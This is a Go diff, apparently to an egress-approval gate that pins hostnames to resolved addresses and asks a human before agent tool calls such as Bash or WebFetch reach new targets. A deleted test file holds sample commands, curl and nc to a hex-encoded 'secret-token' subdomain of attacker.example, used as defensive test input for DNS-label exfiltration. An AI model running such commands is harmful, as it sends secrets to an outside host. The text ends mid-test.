||||
unpinned := requests()
|
||||
if len(unpinned) > maxUnpinnedTargets {
|
||||
return c.tooMany(unpinned)
|
||||
names := make([]string, len(unpinned))
|
||||
audit := make([]db.InterceptTarget, len(unpinned))
|
||||
for n, r := range unpinned {
|
||||
names[n] = targetName(r)
|
||||
audit[n] = db.InterceptTarget{Host: r.Host, Port: r.Port, Kind: r.Kind, ResolvedIPs: r.ResolvedIPs,
|
||||
Resolver: r.Resolver, ResolvedAt: r.ResolvedAt, Reason: r.Reason, Outcome: "too_many"}
|
||||
}
|
||||
reason := fmt.Sprintf("this call names %d targets that are not approved (%s); at most %d are requested per call",
|
||||
len(unpinned), strings.Join(names, ", "), maxUnpinnedTargets)
|
||||
c.log("denied", TargetTooMany+": "+reason, "", audit...)
|
||||
return nil, TargetResult{Code: TargetTooMany, Host: unpinned[0].Host, Port: unpinned[0].Port, Reason: reason}
|
||||
}
|
||||
if len(unpinned) == 0 {
|
||||
// The call passes: record what let it pass, once per process.
|
||||
@@ -449,24 +344,9 @@ func (c *targetCheck) resolve(ct *checkedTarget, fresh bool) {
|
||||
ct.ips, ct.resolvedAt, ct.err = res.ips, res.at, err
|
||||
}
|
||||
|
||||
// tooMany blocks a call that names more targets to request than one call may.
|
||||
func (c *targetCheck) tooMany(unpinned []TargetRequest) ([]TargetRequest, TargetResult) {
|
||||
names := make([]string, len(unpinned))
|
||||
audit := make([]db.InterceptTarget, len(unpinned))
|
||||
for n, r := range unpinned {
|
||||
names[n] = targetName(r)
|
||||
audit[n] = db.InterceptTarget{Host: r.Host, Port: r.Port, Kind: r.Kind, ResolvedIPs: r.ResolvedIPs,
|
||||
Resolver: r.Resolver, ResolvedAt: r.ResolvedAt, Reason: r.Reason, Outcome: "too_many"}
|
||||
}
|
||||
reason := fmt.Sprintf("this call names %d targets that are not approved (%s); at most %d are requested per call",
|
||||
len(unpinned), strings.Join(names, ", "), maxUnpinnedTargets)
|
||||
c.log("denied", TargetTooMany+": "+reason, "", audit...)
|
||||
return nil, TargetResult{Code: TargetTooMany, Host: unpinned[0].Host, Port: unpinned[0].Port, Reason: reason}
|
||||
}
|
||||
|
||||
func (c *targetCheck) resolveFailure(ct *checkedTarget) string {
|
||||
reason := fmt.Sprintf("the platform could not resolve %s (%v)", ct.Host, ct.err)
|
||||
if pins, err := c.activePins(ct.Host, ct.Port); err == nil && len(pins) > 0 {
|
||||
if pins, err := c.i.targets.ActivePins(c.ref, ct.Host, ct.Port); err == nil && len(pins) > 0 {
|
||||
reason += fmt.Sprintf(", so it cannot compare the address with the approved pin (v%d: %s)",
|
||||
pins[0].Version, strings.Join(pins[0].PinnedIPs, ", "))
|
||||
}
|
||||
|
||||
@@ -382,20 +382,17 @@ func TestApprovalNeverPinsEmptyAddressList(t *testing.T) {
|
||||
scope := taskScope(t, d, ic, time.Minute)
|
||||
ref := scope.dbRef(t)
|
||||
|
||||
// RequestTargets refuses to open such a request. (A name nothing approved
|
||||
// is requested without addresses on purpose: Decide resolves it on
|
||||
// approval. Any other request without addresses is refused.)
|
||||
// RequestTargets refuses to open such a request.
|
||||
for _, ips := range [][]string{nil, {}} {
|
||||
out := ic.RequestTargets(context.Background(), scope, "WebFetch", webFetchInput,
|
||||
[]TargetRequest{{Host: "198.51.100.9", Port: 443, Kind: TargetIP, ResolvedIPs: ips, Reason: "no_pin"}}, nil)
|
||||
[]TargetRequest{{Host: "app.example.com", Port: 443, Kind: TargetDomain, ResolvedIPs: ips, Reason: "no_pin"}}, nil)
|
||||
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
||||
t.Fatalf("request with %v: %+v, want %s", ips, out, TargetResolveFailed)
|
||||
}
|
||||
}
|
||||
// One empty target refuses the whole call, before any row is written.
|
||||
out := ic.RequestTargets(context.Background(), scope, "Bash", []byte(`{"command":"x"}`),
|
||||
[]TargetRequest{target("a.example.com", 443, "203.0.113.7"),
|
||||
{Host: "b.example.com", Port: 443, Kind: TargetDomain, Reason: "new_ip", Pin: &db.TargetPin{ID: 1, Version: 1, PinnedIPs: []string{"203.0.113.8"}}}}, nil)
|
||||
[]TargetRequest{target("a.example.com", 443, "203.0.113.7"), target("b.example.com", 443)}, nil)
|
||||
if out.Code != TargetResolveFailed || out.Host != "b.example.com" || allRows(t, d, scope) != 0 {
|
||||
t.Fatalf("mixed call: %+v with %d rows, want %s and no row", out, allRows(t, d, scope), TargetResolveFailed)
|
||||
}
|
||||
@@ -461,10 +458,6 @@ func TestTargetBlockIsLoggedForConversation(t *testing.T) {
|
||||
_, _ = d.Exec(`DELETE FROM target_pins WHERE conversation_id=$1`, conv.ID)
|
||||
})
|
||||
scope := TargetScope{ConversationID: conv.ID, Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: ic}
|
||||
// A pin on another port makes the name one the gate resolves; a name
|
||||
// nothing approved is requested by name and never blocked on its lookup.
|
||||
res.set("app.example.com", "203.0.113.7")
|
||||
pinURL(t, d, ic, scope, "https://app.example.com:8443/")
|
||||
res.errs["app.example.com"] = errors.New("no such host")
|
||||
ctx := WithCall(WithConvID(context.Background(), conv.ID), "WebFetch", fetchInput("https://app.example.com/"))
|
||||
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", fetchInput("https://app.example.com/")); out.Code != TargetResolveFailed || len(reqs) != 0 {
|
||||
|
||||
@@ -25,9 +25,6 @@ type fakeStore struct {
|
||||
fail map[string]error // by method name
|
||||
reads int
|
||||
logged []db.TargetDecision
|
||||
// resolve is the lookup approve does for a request raised by name, as
|
||||
// Decide does on approval.
|
||||
resolve func(host string) []string
|
||||
}
|
||||
|
||||
func (s *fakeStore) read(method string) error {
|
||||
@@ -41,18 +38,19 @@ func (s *fakeStore) BlockRules(db.TargetScopeRef) ([]db.AssetInterceptRule, erro
|
||||
return s.rules, s.read("BlockRules")
|
||||
}
|
||||
|
||||
func (s *fakeStore) ScopePins(db.TargetScopeRef) ([]*db.TargetPin, error) {
|
||||
if err := s.read("ScopePins"); err != nil {
|
||||
func (s *fakeStore) ActivePins(_ db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error) {
|
||||
if err := s.read("ActivePins"); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
var out []*db.TargetPin
|
||||
for _, p := range s.pins {
|
||||
if p.Status == db.TargetPinActive {
|
||||
if p.Status == db.TargetPinActive && p.Host == host && (p.Port == port || p.Port == 0) {
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
slices.SortFunc(out, func(a, b *db.TargetPin) int { return b.Port - a.Port })
|
||||
return out, nil
|
||||
}
|
||||
|
||||
@@ -74,10 +72,6 @@ func (s *fakeStore) LogDecision(r db.TargetDecision) error {
|
||||
// approve pins what the request displays: a new version that holds the
|
||||
// addresses of the active pin of the key plus the displayed ones.
|
||||
func (s *fakeStore) approve(r TargetRequest) *db.TargetPin {
|
||||
if len(r.ResolvedIPs) == 0 && r.Kind == TargetDomain && s.resolve != nil {
|
||||
// A request raised by name: Decide resolves it on approval.
|
||||
r.ResolvedIPs = s.resolve(r.Host)
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
pin := &db.TargetPin{ID: int64(len(s.pins) + 1), Host: r.Host, Port: r.Port, Version: 1, Status: db.TargetPinActive,
|
||||
@@ -109,9 +103,7 @@ func (s *fakeStore) revoke(host string, port int) {
|
||||
}
|
||||
|
||||
func (s *fakeStore) active(host string, port int) *db.TargetPin {
|
||||
s.mu.Lock()
|
||||
pins := pinsFor(s.pins, host, port)
|
||||
s.mu.Unlock()
|
||||
pins, _ := s.ActivePins(db.TargetScopeRef{}, host, port)
|
||||
for _, p := range pins {
|
||||
if p.Port == port {
|
||||
return p
|
||||
@@ -208,10 +200,6 @@ func newGate(t *testing.T) *gateFixture {
|
||||
g.ic.targets = g.store
|
||||
g.ic.SetResolver(g.res)
|
||||
g.ic.resolve.now = func() time.Time { return g.clock }
|
||||
g.store.resolve = func(host string) []string {
|
||||
res, _ := g.ic.resolve.lookup(context.Background(), host, true)
|
||||
return res.ips
|
||||
}
|
||||
g.scope = TargetScope{TaskID: "7", Enabled: func() bool { return true }, WaitBound: time.Minute, Interceptor: g.ic}
|
||||
return g
|
||||
}
|
||||
@@ -297,19 +285,18 @@ func TestGateStateMachine(t *testing.T) {
|
||||
g := newGate(t)
|
||||
g.res.set("app.example.com", "203.0.113.7")
|
||||
|
||||
// No pin: a request for the name. Nothing approved it, so it is not
|
||||
// resolved; an approval resolves it (Decide, here the fake store).
|
||||
// No pin: a request for the addresses that were resolved.
|
||||
req := g.requests("no pin", g.fetch(appURL))
|
||||
if req.Host != "app.example.com" || req.Port != 443 || req.Kind != TargetDomain || req.Reason != "no_pin" || req.Pin != nil ||
|
||||
len(req.ResolvedIPs) != 0 || req.Resolver != "" || !req.ResolvedAt.IsZero() || g.res.total() != 0 {
|
||||
t.Fatalf("first request = %+v after %d lookups, want the name only and no lookup", req, g.res.total())
|
||||
!slices.Equal(req.ResolvedIPs, []string{"203.0.113.7"}) || req.Resolver != "fake" || req.ResolvedAt.IsZero() {
|
||||
t.Fatalf("first request = %+v", req)
|
||||
}
|
||||
// A request alone pins nothing: the next call asks again.
|
||||
g.requests("still no pin", g.fetch(appURL))
|
||||
|
||||
// Approved: version 1 holds what the name resolved to then, and the call passes.
|
||||
if pin := g.store.approve(req); pin.Version != 1 || !slices.Equal(pin.PinnedIPs, []string{"203.0.113.7"}) {
|
||||
t.Fatalf("pin = %+v, want version 1 with 203.0.113.7", pin)
|
||||
// Approved: version 1, and the call passes.
|
||||
if pin := g.store.approve(req); pin.Version != 1 {
|
||||
t.Fatalf("pin = %+v, want version 1", pin)
|
||||
}
|
||||
g.passes("pinned", g.fetch(appURL))
|
||||
|
||||
@@ -381,17 +368,11 @@ func TestSubset(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// A name the gate resolves (one a pin, a grant or a stored exemption names)
|
||||
// that does not resolve blocks the call and opens no request: there is no
|
||||
// address to show, and nothing an approval could pin. A name nothing approved
|
||||
// is not resolved at all: it is requested by name.
|
||||
// A name that does not resolve blocks the call, pinned or not, and opens no
|
||||
// request: there is no address to show, and nothing an approval could pin.
|
||||
func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
||||
g := newGate(t)
|
||||
g.res.errs["app.example.com"] = errors.New("no such host")
|
||||
if req := g.requests("unapproved name", g.fetch(appURL)); len(req.ResolvedIPs) != 0 || g.res.total() != 0 {
|
||||
t.Fatalf("request = %+v after %d lookups, want the name only", req, g.res.total())
|
||||
}
|
||||
g.pin("app.example.com", 8443, "203.0.113.7")
|
||||
res := g.blocked("lookup error", TargetResolveFailed, g.fetch(appURL))
|
||||
if res.Host != "app.example.com" || res.Port != 443 || !strings.Contains(res.Reason, "could not resolve app.example.com (no such host)") {
|
||||
t.Fatalf("result = %+v", res)
|
||||
@@ -404,7 +385,7 @@ func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
||||
t.Fatalf("empty answer: reason = %q", res.Reason)
|
||||
}
|
||||
|
||||
// With a pin on the port the failure still blocks, and the text names the pin.
|
||||
// With a pin the failure still blocks, and the text names the pin.
|
||||
g.res.set("app.example.com", "203.0.113.7")
|
||||
g.store.approve(g.requests("resolves again", g.fetch(appURL)))
|
||||
g.passes("pinned", g.fetch(appURL))
|
||||
@@ -424,17 +405,12 @@ func TestResolveFailureBlocksWithoutRequest(t *testing.T) {
|
||||
row.Audit.ExecutionStatus != "not_executed" || row.ToolName != "WebFetch" || row.Scope.TaskID != 7 {
|
||||
t.Fatalf("logged row = %+v audit=%+v", row, row.Audit)
|
||||
}
|
||||
// A request without an address, other than a name requested by name, is
|
||||
// refused before any row is written (the interceptor has no database: a
|
||||
// write would panic).
|
||||
for _, r := range []TargetRequest{
|
||||
{Host: "app.example.com", Port: 443, Kind: TargetDomain, Reason: "new_ip", Pin: g.store.active("app.example.com", 443)},
|
||||
{Host: "198.51.100.9", Port: 443, Kind: TargetIP, Reason: "no_pin"},
|
||||
} {
|
||||
out := g.ic.RequestTargets(context.Background(), g.scope, "WebFetch", []byte(`{"url":"`+appURL+`"}`), []TargetRequest{r}, nil)
|
||||
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
||||
t.Fatalf("request without an address %+v: %+v, want %s and no row", r, out, TargetResolveFailed)
|
||||
}
|
||||
// A request without an address is refused before any row is written (the
|
||||
// interceptor has no database: a write would panic).
|
||||
out := g.ic.RequestTargets(context.Background(), g.scope, "WebFetch", []byte(`{"url":"`+appURL+`"}`),
|
||||
[]TargetRequest{{Host: "app.example.com", Port: 443, Kind: TargetDomain, Reason: "no_pin"}}, nil)
|
||||
if out.Code != TargetResolveFailed || out.PendingID != 0 {
|
||||
t.Fatalf("request without an address: %+v, want %s and no row", out, TargetResolveFailed)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -726,7 +702,7 @@ func TestTooManyTargetsBlocked(t *testing.T) {
|
||||
|
||||
// What the gate cannot read, it does not allow.
|
||||
func TestStoreFailureBlocks(t *testing.T) {
|
||||
for _, method := range []string{"BlockRules", "Exemptions", "ScopePins"} {
|
||||
for _, method := range []string{"BlockRules", "Exemptions", "ActivePins"} {
|
||||
g := newGate(t)
|
||||
g.res.set("app.example.com", "203.0.113.7")
|
||||
g.store.fail[method] = errors.New("connection refused")
|
||||
@@ -1073,7 +1049,6 @@ func TestSystemResolverAndLimits(t *testing.T) {
|
||||
// A resolver that does not answer is cut off after the timeout, whatever the
|
||||
// caller's own deadline, and the failure says so.
|
||||
g := newGate(t)
|
||||
g.pin("app.example.com", 443, "203.0.113.7") // a name the gate resolves
|
||||
g.res.hold = make(chan struct{})
|
||||
defer close(g.res.hold)
|
||||
start := time.Now()
|
||||
|
||||
@@ -143,7 +143,6 @@ func TestRenderedTargetUsesTheGateDecision(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
g.pin("down.example", 443, "203.0.113.20") // a name the gate resolves
|
||||
g.res.errs["down.example"] = context.DeadlineExceeded
|
||||
if res := GateRenderedURL(g.ctx(), "probe", "https://down.example/"); res.Code != TargetResolveFailed || res.Host != "down.example" {
|
||||
t.Fatalf("unresolvable: %+v", res)
|
||||
|
||||
@@ -121,11 +121,9 @@ func (i *Interceptor) RequestTargets(ctx context.Context, scope TargetScope, too
|
||||
return TargetResult{Code: TargetGateUnavailable, Reason: err.Error()}
|
||||
}
|
||||
// An approval pins the addresses the request displays, so a request without
|
||||
// any is never opened: approving it would pin nothing. The one exception is
|
||||
// a name nothing approved, which the check does not resolve: it is requested
|
||||
// by name, and Decide resolves it once a human approved it.
|
||||
// any is never opened: approving it would pin nothing.
|
||||
for _, t := range targets {
|
||||
if len(t.ResolvedIPs) == 0 && (t.Kind != TargetDomain || t.Pin != nil) {
|
||||
if len(t.ResolvedIPs) == 0 {
|
||||
return TargetResult{Code: TargetResolveFailed, Host: t.Host, Port: t.Port,
|
||||
Reason: "no address was resolved for " + targetName(t) + ", and an approval never pins an empty address list"}
|
||||
}
|
||||
@@ -475,18 +473,13 @@ func targetReason(scope TargetScope, t TargetRequest, ask *Decision, nameOnly bo
|
||||
name += " (port not declared: every port)"
|
||||
}
|
||||
ips := strings.Join(t.ResolvedIPs, ", ")
|
||||
switch {
|
||||
case t.Pin != nil:
|
||||
if t.Pin != nil {
|
||||
fmt.Fprintf(&b, "Target %s is pinned for %s (pin v%d: %s) and now resolves to %s (resolver: %s).",
|
||||
name, bound, t.Pin.Version, strings.Join(t.Pin.PinnedIPs, ", "), ips, t.Resolver)
|
||||
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
|
||||
case len(t.ResolvedIPs) == 0:
|
||||
fmt.Fprintf(&b, "Target %s is not approved for %s. The platform has not resolved it: a name nothing approved is not looked up.", name, bound)
|
||||
fmt.Fprintf(&b, " Approving resolves the name once and pins the addresses it answers then for %s until revoked.", bound)
|
||||
default:
|
||||
} else {
|
||||
fmt.Fprintf(&b, "Target %s is not approved for %s. It resolves to %s (resolver: %s).", name, bound, ips, t.Resolver)
|
||||
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
|
||||
}
|
||||
fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
|
||||
if nameOnly {
|
||||
b.WriteString(" Egress goes through the upstream proxy, which chooses the address it connects to." +
|
||||
" The addresses listed are what the platform resolved. This approval is name-only." +
|
||||
|
||||
@@ -1,351 +0,0 @@
|
||||
package intercept
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
func bashCall(cmd string) string {
|
||||
b, _ := json.Marshal(map[string]string{"command": cmd})
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// A name that no block rule, exemption, grant or pin names is never looked up:
|
||||
// the lookup would leave the panel through its resolver, so the labels of the
|
||||
// name would reach the name server of the domain. It is requested by name.
|
||||
func TestUnapprovedNameIsNotResolved(t *testing.T) {
|
||||
g := newGate(t)
|
||||
exfil := "7365637265742d746f6b656e.x.attacker.example"
|
||||
g.res.set(exfil, "203.0.113.66")
|
||||
for name, v := range map[string]verdict{
|
||||
"Bash": g.check("Bash", bashCall("curl -s http://"+exfil+"/ || true")),
|
||||
"WebFetch": g.fetch("https://" + exfil + "/"),
|
||||
"host:port": g.check("Bash", bashCall("nc "+exfil+":4444")),
|
||||
} {
|
||||
req := g.requests(name, v)
|
||||
if req.Host != exfil || req.Kind != TargetDomain || req.Reason != "no_pin" || len(req.ResolvedIPs) != 0 || req.Resolver != "" {
|
||||
t.Fatalf("%s: request = %+v, want the name only", name, req)
|
||||
}
|
||||
}
|
||||
if n := g.res.lookups(exfil); n != 0 {
|
||||
t.Fatalf("%d lookups of %s, want none", n, exfil)
|
||||
}
|
||||
// The card says the name was not resolved, and what an approval does.
|
||||
reason := targetReason(g.scope, TargetRequest{Host: exfil, Port: 80, Kind: TargetDomain}, nil, false)
|
||||
if !strings.Contains(reason, "has not resolved it") || !strings.Contains(reason, "Approving resolves the name once") {
|
||||
t.Fatalf("reason = %q", reason)
|
||||
}
|
||||
}
|
||||
|
||||
// The cap on targets to request applies before any lookup: a call that names
|
||||
// more new names than one call may request resolves nothing, and reads the
|
||||
// store a fixed number of times, whatever the number of names.
|
||||
func TestTargetCapAppliesBeforeAnyLookup(t *testing.T) {
|
||||
g := newGate(t)
|
||||
const n = 400
|
||||
var parts []string
|
||||
for i := 0; i < n; i++ {
|
||||
h := fmt.Sprintf("h%d.attacker.example", i)
|
||||
g.res.set(h, "203.0.113.9")
|
||||
parts = append(parts, h+":80")
|
||||
}
|
||||
g.blocked("400 names", TargetTooMany, g.check("Bash", bashCall("echo "+strings.Join(parts, " "))))
|
||||
// BlockRules, Exemptions, EgressGrants and ScopePins, once each.
|
||||
if g.res.total() != 0 || g.store.reads != 4 {
|
||||
t.Fatalf("%d lookups and %d store reads, want none and 4", g.res.total(), g.store.reads)
|
||||
}
|
||||
|
||||
// A pinned name in the same call is not resolved either once the cap is hit.
|
||||
g = newGate(t)
|
||||
g.res.set("app.example.com", "203.0.113.7")
|
||||
g.pin("app.example.com", 443, "203.0.113.7")
|
||||
cmd := "curl https://app.example.com/"
|
||||
for i := 0; i <= maxUnpinnedTargets; i++ {
|
||||
cmd += fmt.Sprintf(" https://n%d.attacker.example/", i)
|
||||
}
|
||||
g.blocked("six new names and a pinned one", TargetTooMany, g.check("Bash", bashCall(cmd)))
|
||||
if g.res.total() != 0 {
|
||||
t.Fatalf("%d lookups, want none", g.res.total())
|
||||
}
|
||||
}
|
||||
|
||||
// The pins of the scope are read once per call, not once per target.
|
||||
func TestPinsReadOncePerCall(t *testing.T) {
|
||||
g := newGate(t)
|
||||
cmd := "curl"
|
||||
for i := 0; i < 8; i++ {
|
||||
h := fmt.Sprintf("app%d.example.com", i)
|
||||
g.res.set(h, "203.0.113.7")
|
||||
g.pin(h, 443, "203.0.113.7")
|
||||
cmd += " https://" + h + "/"
|
||||
}
|
||||
g.passes("eight pinned names", g.check("Bash", bashCall(cmd)))
|
||||
if g.store.reads != 4 {
|
||||
t.Fatalf("%d store reads, want 4 (rules, exemptions, grants, pins)", g.store.reads)
|
||||
}
|
||||
}
|
||||
|
||||
// A name something approved is still resolved and compared: a pin (on any port
|
||||
// of the name), a grant and a stored exemption. A pinned name that answers
|
||||
// another address asks again with the fresh answer, and the address block
|
||||
// rules apply to every name that is resolved.
|
||||
func TestApprovedNamesStillResolveAndCompare(t *testing.T) {
|
||||
g := newGate(t)
|
||||
g.res.set("app.example.com", "203.0.113.7")
|
||||
g.pin("app.example.com", 443, "203.0.113.7")
|
||||
g.passes("pinned", g.fetch(appURL))
|
||||
if g.res.lookups("app.example.com") != 1 {
|
||||
t.Fatalf("%d lookups, want 1", g.res.lookups("app.example.com"))
|
||||
}
|
||||
// Rebinding: the name now answers another address.
|
||||
g.res.set("app.example.com", "10.0.0.5")
|
||||
g.expire()
|
||||
req := g.requests("rebound", g.fetch(appURL))
|
||||
if req.Reason != "new_ip" || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.5"}) || req.Pin == nil {
|
||||
t.Fatalf("request = %+v, want new_ip with the fresh answer", req)
|
||||
}
|
||||
g.store.rules = []db.AssetInterceptRule{{Enabled: true, Kind: "exact_ip", Pattern: "10.0.0.5"}}
|
||||
g.blocked("rebound to a blocked address", TargetRuleBlocked, g.fetch(appURL))
|
||||
g.store.rules = nil
|
||||
|
||||
// A pin on another port of the name: the name is resolved, and the
|
||||
// request for the new port shows its addresses.
|
||||
req = g.requests("other port", g.fetch("https://app.example.com:8443/"))
|
||||
if req.Reason != "no_pin" || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.5"}) {
|
||||
t.Fatalf("request = %+v, want the addresses of the name", req)
|
||||
}
|
||||
|
||||
// A granted name is resolved, and an address block rule applies to it.
|
||||
g.store.grants = []db.ScopeEgress{{Kind: "domain", Value: "lab.test"}}
|
||||
g.res.set("app.lab.test", "198.51.100.20")
|
||||
g.passes("granted", g.fetch("https://app.lab.test/"))
|
||||
g.store.rules = []db.AssetInterceptRule{{Enabled: true, Kind: "exact_ip", Pattern: "198.51.100.20"}}
|
||||
g.blocked("granted, blocked address", TargetRuleBlocked, g.fetch("https://app.lab.test/"))
|
||||
g.store.rules = nil
|
||||
|
||||
// A stored exemption is resolved: a private answer voids it.
|
||||
g.store.exempt = []db.TargetExemption{{Host: "pypi.org", Port: 443}}
|
||||
g.res.set("pypi.org", "151.101.0.223")
|
||||
g.passes("exempt", g.fetch("https://pypi.org/simple/"))
|
||||
g.res.set("pypi.org", "10.0.0.9")
|
||||
g.expire()
|
||||
if req := g.requests("void exemption", g.fetch("https://pypi.org/simple/")); !req.ExemptVoid || !slices.Equal(req.ResolvedIPs, []string{"10.0.0.9"}) {
|
||||
t.Fatalf("request = %+v, want a void exemption with the address", req)
|
||||
}
|
||||
}
|
||||
|
||||
// Approving a request raised by name resolves the name then, pins what it
|
||||
// answers, and the waiting call passes. A later answer outside the pin is
|
||||
// asked again at the next check and refused at the dial. A name that does not
|
||||
// resolve on approval is refused, and the request stays open.
|
||||
func TestApprovingNameRequestPinsResolvedAddresses(t *testing.T) {
|
||||
d := targetTestDB(t)
|
||||
ic := New(d)
|
||||
res := newFakeResolver()
|
||||
ic.SetResolver(res)
|
||||
rec := newDialRecorder()
|
||||
ic.SetBaseDialer(rec.dial)
|
||||
scope := taskScope(t, d, ic, time.Minute)
|
||||
ctx := WithTargetScope(context.Background(), scope)
|
||||
res.set("fresh.example.com", "203.0.113.7")
|
||||
input := []byte(`{"url":"https://fresh.example.com/"}`)
|
||||
|
||||
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
|
||||
if out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 || res.total() != 0 {
|
||||
t.Fatalf("check: %+v %+v after %d lookups, want one request by name and no lookup", reqs, out, res.total())
|
||||
}
|
||||
waiting := make(chan TargetResult, 1)
|
||||
go func() { waiting <- ic.RequestTargets(ctx, scope, "WebFetch", input, reqs, nil) }()
|
||||
id := oneOpenRow(t, d, scope)
|
||||
shown, err := d.GetInterceptDetail(id)
|
||||
if err != nil || shown == nil || len(shown.Audit.Targets) != 1 || len(shown.Audit.Targets[0].ResolvedIPs) != 0 ||
|
||||
!strings.Contains(shown.Reason, "has not resolved it") {
|
||||
t.Fatalf("displayed request = %+v, %v; want the name only", shown, err)
|
||||
}
|
||||
if res.total() != 0 {
|
||||
t.Fatalf("%d lookups before the approval, want none", res.total())
|
||||
}
|
||||
if err := ic.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := result(t, waiting); got.Code != "" {
|
||||
t.Fatalf("waiting call: %+v", got)
|
||||
}
|
||||
got := pins(t, d, scope)
|
||||
if len(got) != 1 || !slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7"}) || got[0].Resolver != "fake" {
|
||||
t.Fatalf("pins = %+v, want the address resolved on approval", got)
|
||||
}
|
||||
if res.lookups("fresh.example.com") != 1 {
|
||||
t.Fatalf("%d lookups, want one on approval", res.lookups("fresh.example.com"))
|
||||
}
|
||||
decided, _ := d.GetInterceptDetail(id)
|
||||
if decided == nil || !slices.Equal(decided.Audit.Targets[0].ResolvedIPs, []string{"203.0.113.7"}) || decided.Audit.Targets[0].Outcome != "pinned" {
|
||||
t.Fatalf("decided row = %+v", decided)
|
||||
}
|
||||
if reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input); out.Code != "" || len(reqs) != 0 {
|
||||
t.Fatalf("after the approval: %+v %+v, want the call to pass", reqs, out)
|
||||
}
|
||||
|
||||
// Rebinding: the name now answers a private address. The dial resolves
|
||||
// afresh, finds it outside the pin, and connects nowhere.
|
||||
res.set("fresh.example.com", "10.0.0.5")
|
||||
_, err = PinnedDialer("WebFetch", true)(ctx, "tcp", "fresh.example.com:443")
|
||||
if code, ok := IsTargetBlocked(err); !ok || code != TargetApprovalPending {
|
||||
t.Fatalf("rebound dial: %v, want %s", err, TargetApprovalPending)
|
||||
}
|
||||
if calls := rec.calls(); len(calls) != 0 {
|
||||
t.Fatalf("dialled %v, want nothing", calls)
|
||||
}
|
||||
|
||||
// A name that does not resolve on approval: refused, the row stays open.
|
||||
res.errs["gone.example.com"] = errors.New("no such host")
|
||||
gone := []byte(`{"url":"https://gone.example.com/"}`)
|
||||
reqs, out = ic.CheckTargets(ctx, scope, "WebFetch", gone)
|
||||
if out.Code != "" || len(reqs) != 1 {
|
||||
t.Fatalf("check: %+v %+v, want one request by name", reqs, out)
|
||||
}
|
||||
noWait := scope
|
||||
noWait.WaitBound = 0
|
||||
r := ic.RequestTargets(ctx, noWait, "WebFetch", gone, reqs, nil)
|
||||
if r.Code != TargetApprovalPending || r.PendingID == 0 {
|
||||
t.Fatalf("request: %+v", r)
|
||||
}
|
||||
pendingID := r.PendingID
|
||||
if err := ic.Decide(pendingID, true, "ARTEX", "198.51.100.9"); !errors.Is(err, db.ErrTargetPinEmpty) {
|
||||
t.Fatalf("approving an unresolvable name: %v, want %v", err, db.ErrTargetPinEmpty)
|
||||
}
|
||||
if row, err := d.GetInterceptPending(pendingID); err != nil || row == nil || row.Status != "pending" {
|
||||
t.Fatalf("row after the refused approval = %+v, %v; want it still pending", row, err)
|
||||
}
|
||||
}
|
||||
|
||||
// A name approved by name meets the asset block rules on the addresses it
|
||||
// resolves to on approval, before anything is pinned. One blocked address (here
|
||||
// inside a blocked range, next to a clean one) refuses the whole approval: no
|
||||
// pin, the request closed as denied by the system, the waiting call refused,
|
||||
// and no dial reaches the address. A clean name pins and dials as before, and
|
||||
// a pinned name that later answers a blocked address is refused at the check
|
||||
// and at the dial.
|
||||
func TestApprovedNameResolvingToBlockedAddressIsNotPinned(t *testing.T) {
|
||||
d := targetTestDB(t)
|
||||
ic := New(d)
|
||||
res := newFakeResolver()
|
||||
ic.SetResolver(res)
|
||||
rec := newDialRecorder()
|
||||
ic.SetBaseDialer(rec.dial)
|
||||
clock := time.Now()
|
||||
ic.resolve.now = func() time.Time { return clock }
|
||||
scope := taskScope(t, d, ic, time.Minute)
|
||||
ref := scope.dbRef(t)
|
||||
if _, err := d.Assets().CreateTaskInterceptRule(ref.TaskID, "block", "cidr", "10.0.0.0/8", "target gate test", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ctx := WithTargetScope(context.Background(), scope)
|
||||
srv, hits, port := pinnedServer(t, "reached")
|
||||
for _, ip := range []string{"10.0.0.5", "203.0.113.7", "203.0.113.8"} {
|
||||
rec.route(ip+":"+port, srv.Listener.Addr().String())
|
||||
}
|
||||
rec.route("blocked.example.com:"+port, srv.Listener.Addr().String())
|
||||
|
||||
approve := func(host string) (TargetResult, error) {
|
||||
t.Helper()
|
||||
input := fetchInput("http://" + host + ":" + port + "/")
|
||||
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
|
||||
if out.Code != "" || len(reqs) != 1 || len(reqs[0].ResolvedIPs) != 0 {
|
||||
t.Fatalf("%s: check %+v %+v, want one request by name", host, reqs, out)
|
||||
}
|
||||
waiting := make(chan TargetResult, 1)
|
||||
go func() { waiting <- ic.RequestTargets(ctx, scope, "WebFetch", input, reqs, nil) }()
|
||||
var id int64
|
||||
eventually(t, "the request of "+host, func() bool {
|
||||
for _, open := range openRows(t, d, scope) {
|
||||
if row, _ := d.GetInterceptDetail(open); row != nil && row.Audit.Targets[0].Host == host {
|
||||
id = open
|
||||
